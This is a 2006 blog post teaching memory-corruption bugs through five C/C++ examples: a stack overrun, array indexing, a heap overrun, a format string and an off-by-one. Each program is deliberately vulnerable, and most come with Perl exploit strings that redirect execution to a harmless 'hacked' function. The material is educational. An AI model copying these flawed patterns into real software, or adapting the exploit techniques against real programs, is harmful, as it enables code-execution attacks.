Buffer Overflow / Overrun examples

4 בדצמבר 2006

no comments

Buffer Overflow / Overrun examples


Everybody knows the buffer overrun problem but many people asked me to see a real life example.


So I bring here 5 examples of different kinds of buffer overrun.


By the way these example do not work on vista as vista protects the stack.
So Vista is a secure environment …


Enjoy.


Manu


Classic Buffer Overrun Example.


The classic problem: a buffer is copied in to a bigger buffer and override the stack and with it the return address.


1.      Compile the code


2.      Run the code using a perl script.


The code:


/*


Example of how a stack-based buffer overrun can be used to execute arbitrary code.Its objective is to find an input string that executes the function bar.


*/


 


#include <stdio.h>


#include <string.h>


 


void foo(const char* input)


{


    char buf[10];


 


    //What? No extra arguments supplied to printf?


    //It's a cheap trick to view the stack 😎


    //We'll see this trick again when we look at format strings.


    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");


 


    //Pass the user input straight to secure code public enemy #1.


    strcpy(buf, input);


    printf("%s\n", buf);


 


    printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");


}


 


void bar(void)


{


    printf("Augh! I've been hacked!\n");


}


 


int main(int argc, char* argv[])


{


    //Blatant cheating to make life easier on myself


    printf("Address of foo = %p\n", foo);


    printf("Address of bar = %p\n", bar);


    if (argc != 2)


       {


        printf("Please supply a string as an argument!\n");


        return -1;


      }


foo(argv[1]);


    return 0;


}


The perl script: (put it in a file BufferOverrun.pl)


$arg = "ABCDEFGHIJKLMNOP"."\x60\x10\x40";
$cmd = "StackOverrun ".$arg;
system($cmd);



 


Array Indexing.


Array is a pointer so using the index we can get anywhere… Again we will override the stack and hijack the server to run the function "bar".


The code:


#include <stdio.h>


#include <stdlib.h>


 


int* IntVector;


 


void bar(void)


{


    printf("Augh! I've been hacked!\n");


}


 


void InsertInt(unsigned long index, unsigned long value)


{


    //We're so sure that no one would ever pass in


    //a value more than 64 KB that we're not even going to


    //declare the function as taking unsigned shorts


    //or check for an index out of bounds – doh!


    printf("Writing memory at %p\n", &(IntVector[index]));


 


    IntVector[index] = value;


}


 


bool InitVector(int size)


{


    IntVector = (int*)malloc(sizeof(int)*size);


    printf("Address of IntVector is %p\n", IntVector);


 


    if(IntVector == NULL)


        return false;


    else


        return true;


}


 


int main(int argc, char* argv[])


{


    unsigned long index, value;


 


    if(argc != 3)


    {


        printf("Usage is %s [index] [value]\n");


        return -1;


    }


 


    printf("Address of bar is %p\n", bar);


 


    //Let's initialize our vector – 64 KB ought to be enough for


    //anyone <g>.


    if(!InitVector(0xffff))


    {


        printf("Cannot initialize vector!\n");


        return -1;


    }


 


    index = atol(argv[1]);


    value = atol(argv[2]);


 


    InsertInt(index, value);


    return 0;


}


The index calculation:
value = address of bar in decimal


index              value
1072693166      4198405


idex = (0x10012ff20 – base Of Array ) / 4



 


Heap Overrun: pointers manipulation



  1. We find where a pointer is located

  2. The value in that memory is the address of a certain buffer

  3. We change this value (By overrunning it) so this pointer will point to a location of the point in the stack where the return address for the bad function is kept

  4. We will pass this pointer as a parameter when a function pointer is needed.

  5. The code is waiting for a function pointer, so it will take our malicious value and put it in the PC.

  6. Game Over.

The code:


/*


  HeapOverrun.cpp


*/


 


#include <stdio.h>


#include <stdlib.h>


#include <string.h>


 


/*


  Very flawed class to demonstrate a problem


*/


 


class BadStringBuf


{


public:


    BadStringBuf(void)


    {


        m_buf = NULL;


    }


 


    ~BadStringBuf(void)


    {


        if(m_buf != NULL)


            free(m_buf);


    }


 


    void Init(char* buf)


    {


        //Really bad code


        m_buf = buf;


    }


 


    void SetString(const char* input)


    {


        //This is stupid.


        strcpy(m_buf, input);


    }


 


    const char* GetString(void)


    {


        return m_buf;


    }


 


private:


    char* m_buf;


};


 


//Declare a pointer to the BadStringBuf class to hold our  input.


BadStringBuf* g_pInput = NULL;


 


void bar(void)


{


    printf("Augh! I've been hacked!\n");


}


 


void BadFunc(const char* input1, const char* input2)


{


    //Someone told me that heap overruns weren't exploitable,


    //so we'll allocate our buffer on the heap.


 


    char* buf = NULL;


    char* buf2;


 


    buf2 = (char*)malloc(16);


    g_pInput = new BadStringBuf;


    buf = (char*)malloc(16);


    //Bad programmer – no error checking on allocations


 


    g_pInput->Init(buf2);


 


    //The worst that can happen is we'll crash, right???


    strcpy(buf, input1);


 


    g_pInput->SetString(input2);


 


    printf("input 1 = %s\ninput2 = %s\n", buf, g_pInput ->GetString());


 


    if(buf != NULL)


        free(buf);


 


}


 


int main(int argc, char* argv[])


{


    //Simulated argv strings


    char arg1[128];


 


    //This is the address of the bar function.


    //It looks backwards because Intel processors are little  endian.


    char arg2[4] = {0x0f, 0x10, 0x40, 0};   


    int offset = 0x40; 


                 


    //Using 0xfd is an evil trick to overcome heap corruption  checking.


    //The 0xfd value at the end of the buffer checks for corr uption.


    //No error checking here –  it is just an example of how to


    //construct an overflow string.


    memset(arg1, 0xfd, offset);


    arg1[offset]   = (char)0x94;


    arg1[offset+1] = (char)0xfe;


    arg1[offset+2] = (char)0x12;


    arg1[offset+3] = 0;


    arg1[offset+4] = 0;


 


    printf("Address of bar is %p\n", bar);


    BadFunc(arg1, arg2);


 


    if(g_pInput != NULL)


        delete g_pInput;


 


    return 0;


}


 



 


Printf Format string:


There is no way for printf to determine how many arguments were passed in.


The “%n” specifier, will write to a variable (address) the number of characters actually formatted by printf’ing a format string.


Using the power of the “%n” format specifier the attacker can write an arbitrary value to a memory location of their choosing
because if we do not supply it printf will take the address to write on, from the top of the stack!!!


We will attempt to overwrite a saved return address on the stack with a return address of our choosing for example 0x0012FF40


printf %.622496x%.622496x%n
Would cause 1244992 bytes to be formatted by the printf statement.


This number in hex is our address 0x0012FF40 and it would be written on the address written in the top of the stack (as no variable was supplied)


We need to write on the top of the stack the address of the return address which we want to override and then perform the above printf.


With address on the top of the stack and printf %.???x%n?? you can write any value you want to any address you wish.


#include <stdio.h>


#include <stdlib.h>


#include <errno.h>


 


typedef void (*ErrFunc)(unsigned long);


 


void GhastlyError(unsigned long err)


{


      printf("Unrecoverable error! – err = %d\n", err);


 


      //This is, in general, a bad practice.


      //Exits buried deep in the X Window libraries once cost


      //me over a week of debugging effort.


      //All application exits should occur in main, ideally in one place.


      exit(-1);


}


 


void RecoverableError(unsigned long err)


{


      printf("Something went wrong, but you can fix it – err = %d\n", err);


}


 


void PrintMessage(char* file, unsigned long err)


{


      ErrFunc fErrFunc;


      char buf[512];


 


      if(err == 5)


      {


            //access denied


            fErrFunc = GhastlyError;


      }


      else


      {


            fErrFunc = RecoverableError;


      }


 


      _snprintf(buf, sizeof(buf)-1, "Cannot find %s", file);


 


      //just to show you what is in the buffer


      printf("%s", buf);


      //just in case your compiler changes things on you


      printf("\nAddress of fErrFunc is %p\n", &fErrFunc);


      printf("\nAddress of GhastlyError is %p\n", &GhastlyError);


      printf("\nAddress of RecoverableError is %p\n\n\n", &RecoverableError);


 


 


 


      //Here's where the damage is done!


      //Don't do this in your code.


      fprintf(stdout, buf);


 


      printf("\nCalling ErrFunc %p\n", fErrFunc);


      fErrFunc(err);


 


}


 


void foo(void)


{


      printf("Augh! We've been hacked!\n");


}


 


int main(int argc, char* argv[])


{


      FILE* pFile;


 


      //a little cheating to make the example easy


      printf("Address of foo is %p\n", foo);


 


      //this will only open existing files


      pFile = fopen(argv[1], "r");


 


      if(pFile == NULL)


      {


            PrintMessage(argv[1], errno);


      }


      else


      {


            printf("Opened %s\n", argv[1]);


            fclose(pFile);


      }


     


      return 0;


}



 


The perl code:


# Comment out each $arg string, and uncomment the next to follow along
#
This is the first cut at an exploit string
#
The last %p will show up pointing at 0x67666500
# Translate this due to little-endian architecture, and we get 0x00656667


 $arg = "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%p"."ABC";


# Now comment out the above $arg, and use this one


#  $arg =
"……%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%p"."ABC
";


# Now we're actually going to start writing memory – let's overwrite the ErrFunc pointer
#
 $arg =
"…..%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn"."\x1c\xff\x12
";


# Finally, uncomment this one to see the exploit really work


$ #arg =
"%.4066x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn"."\x1c\xff\x12
";


$cmd = "formatstring ".$arg;


system($cmd);



 


OffbyOne


The Error: We write “one char to much”, to a buffer : Buffer[sizeof(Buffer)]


The EBP will be overriden.
The EBP holds the SP before we enter to the function
When the function returns EBP -> SP
EBP LSB was overwritten which means we moved SP in a window of 256 bytes.
If we can write there another return address we Hijack the Server Game Over!!!


But…


To override the EBP the size of the buffer must divide by 4.


We need to control the area that the EBP points to.
If the EBP last byte was F0 and our buffer is less than 240byts we would not be able to directly write the value that eventually will be written to SP.


#include <stdio.h>


#include <string.h>


 


void foo(const char* in)


{


      char buf[128];


 


      strncpy(buf, in, sizeof(buf));


      buf[sizeof(buf)] = '\0'; //oops – off by one!


      printf("%s\n", buf);


}


 


void bar(const char* in)


{


      printf("Augh! I've been hacked!\n");


}


 


int main(int argc, char* argv[])


{


      if(argc != 2)


      {


            printf("Usage is %s [string]\n", argv[0]);


            return -1;


      }


      printf("Address of foo is %p, address of bar is %p\n", foo, bar);


      foo(argv[1]);


      return 0;


}


 


Now write a perl script:


$arg = "AAAAAAAAAAAA"."\x30\x10\x40";
$cmd = "OffByOne ".$arg;
system($cmd);


Run the perl script:


Perl temp.pl

Add comment
facebook linkedin twitter email

Leave a Reply

Your email address will not be published.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*